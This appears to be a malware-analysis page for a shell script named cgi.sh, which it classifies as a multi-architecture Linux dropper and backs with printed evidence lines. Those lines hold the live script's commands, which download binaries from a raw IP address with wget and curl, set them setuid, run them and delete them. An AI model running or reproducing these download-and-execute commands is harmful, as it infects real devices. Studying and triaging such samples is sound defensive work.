Hostile 100% linux Download

cgi.sh

Multi-arch dropper fetching and executing remote binaries

Raw-IP multiarch setuid short-name dropperWritable directory raw-IP multiarch setuid fetch
SHA-25617e31884bf096997b7948714673c4bdc7919b380551edd56701bc00f5fbc4874
URLhttps://mb-api.abuse.ch/api/v1/
MaleculeO(C₂)H₄(Cm₅F₃Os₂Po)

Evidence

Raw-IP multiarch setuid short-name dropper lines 1–5
1
2#!/bin/bash
3cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://217.60.195.187/LjEZs/x86; curl -O http://217.60.195.187/LjEZs/x86;cat x86 >s;chmod +s *;./s cgi; rm -rf s
4cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://217.60.195.187/LjEZs/mips; curl -O http://217.60.195.187/LjEZs/mips;cat mips >s;chmod +s *;./s cgi; rm -rf s
5cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://217.60.195.187/LjEZs/mpsl; curl -O http://217.60.195.187/LjEZs/mpsl;cat mpsl >s;chmod +s …
Script targets multiple CPU architectures lines 6–7
6:25… | cd /mnt || cd /root || cd /; wget http://217.60.195.187/LjEZs/arm; curl -O http://217.60.195.187/LjEZs/arm;cat arm >s;chmod +s *;./s cgi; rm -rf s
7cd /tmp || cd /var/run || cd /mnt || cd /root …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.